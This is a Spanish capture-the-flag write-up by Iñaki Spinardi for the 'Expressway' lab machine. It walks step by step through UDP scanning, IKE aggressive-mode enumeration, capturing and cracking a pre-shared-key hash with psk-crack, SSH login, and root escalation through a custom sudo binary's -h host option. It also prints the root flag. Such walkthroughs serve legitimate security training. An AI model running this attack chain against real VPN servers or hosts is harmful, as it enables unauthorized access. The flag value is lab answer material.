Expressway

Utilidades necesarias

Antes de empezar, esta máquina requiere de herramientas que se deben instalar, he aqui la lista:

Utilidad Repositorio
udpx https://github.com/nullt3r/udpx.git
ike-scan https://github.com/royhills/ike-scan
RockYou https://weakpass.com/wordlists/rockyou.txt

A continuación, deberemos de disponer conectividad con la máquina victima para empezar.

Escaneo de la máquina victima

En primer lugar, se debe observar lo que hay delante, es por ello que voy a llevar un primer escaneo con nmap para detectar puertos abiertos:

nmap -sS -Pn -n --min-rate 5000 --open -vvv 10.10.11.87 -oX targeted.xml

Y para ver la salida limpia:

xslproc targeted.xml > targeted.html && xdg-open targeted.html

Imagen del resultadoo TCP

Se observa que únicamente se encuentra abierto el puerto 22 con ssh. Eso nos indica que se debe observar los puertos UDP. Para ello, haré uso de la herramienta udpx. Que se puede instalar como se indica en la sección Utilidades necesarias.

Para realizar el ánalisis deberemos ejecutar el siguiente comando:

$ udpx -t 10.10.11.87 -c 128 -w 1000

2025/12/01 19:54:31 [+] Starting UDP scan on 1 target(s)
2025/12/01 19:54:48 [*] 10.10.11.87:500 (ike)
2025/12/01 19:55:01 [+] Scan completed

Aquí se observa que el puerto 500/UDP está abierto y usa el protocolo IKE.

IKE (Internet Key Exchange) es el protocolo que usan las VPN para que cliente y servidor se pongan de acuerdo de forma segura sobre quién es quién, qué cifrado usarán y qué claves secretas emplearán, antes de empezar a enviar datos. Básicamente, prepara el terreno para que la conexión sea privada y confiable.

Pues bien, si hacemos un escaneo más profundo usando la herramienta ike-scan, se pueden descubrir varias cosas realmente interesantes que pueden ser explotadas.

$ sudo ike-scan 10.10.11.87

Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Main Mode Handshake returned HDR=(CKY-R=c958930645789871) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.115 seconds (8.68 hosts/sec).  1 returned handshake; 0 returned notify

Lo más destacado y con lo que nos tenemos que quedar es que:

Y si ahora hacemos un escaneo agresivo (con el parámetro –agressive o -A), obtenemos lo siguiente:

$ sudo ike-scan -A 10.10.11.87

Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87	Aggressive Mode Handshake returned HDR=(CKY-R=9ae16cc0e4532f15) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.119 seconds (8.41 hosts/sec).  1 returned handshake; 0 returned notify

Podemos sacar varias conclusiones:

  1. El servidor nos ha respondido en modo agresivo lo que significa que ha dado información sin necesidad de credenciales.
  2. Los algoritmos usados están obsoletos y el uso de Pre-Shared Key (PSK) hace que sea una opción más que valida buscar la clave compartida.
  3. Nos devuelve una usuario, ike@expressway.htb oro puro para un ataque de fuerza bruta sobre PSK pues ya tenemos nombre de usuario.

Con todo esto, es momento de realizar la obtención del hash de autenticación.

Obtención de credenciales

Obtener la contraseña

Hay que obtener el hash de autenticación para poder realizar un ataque por fuerza bruta.

$ sudo ike-scan -A 10.10.11.87 --id=ike@expressway.htb -Pike.psk

Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned HDR=(CKY-R=b4c5f38595bc9e49) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.071 seconds (14.03 hosts/sec).  1 returned handshake; 0 returned notify

Ya con el hash, se hace el ataque por fuerza bruta usando el diccionario rockyou.txt y la utilidad psk-crack:

psk-crack -d /usr/share/wordlists/rockyou.txt ike.psk

Si sale bien la contraseña estará, ahí y asi es.

Obtener la bandera de usuario

Probaré suerte a ver si puedo acceder a la máquina con el usuario ike y la contraseña que acabo de obtener a través de ssh:

ssh ike@10.10.11.87

Estoy dentro y ya puedo visualizar la flag:

Imagen de la bandera del usuario ike

Escalada de privilegios

Una vez estamos dentro, es hora de buscar la manera de obtener la bandera del usuario root. Para ello, en un primer intento veo a que tiene acceso el usuario ike como root:

$ sudo -l
Password: 
Sorry, user ike may not run sudo on expressway.

Es una salida que no corresponde al binario de sudo por lo que miro a que está apuntando:

$ which sudo
usr/local/bin/sudo

Vaya, esto es curioso y potencialmente vulnerable, mucho ojo con que se indique el dominio. Pero no suficiente. Necesitamos más.

Siguiendo con la busqueda, se observa que el usuario ike puede acceder a los logs de squid:

$ cat /var/log/squid/access.log.1
...
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
...

Entre todos los logs, destaca este en particular. Acceso denegado a un subdomio desde el exterior.

Existe un parámetro de sudo que permite indicar el dominio -h, vamos a probar a indicarle el dominio offramp.expressway.htb desde la ruta /usr/bin de la siguiente manera:

/usr/local/bin/sudo -h offramp.expressway.htb ./bash

Pues vaya, ya tenemos acceso como root:

$ whoami
root
$ cat /root/root.txt
99dd55eacf2280107e5e30be90a3097d

Resultado

Imagen del resultado


Hecho por Iñaki Spinardi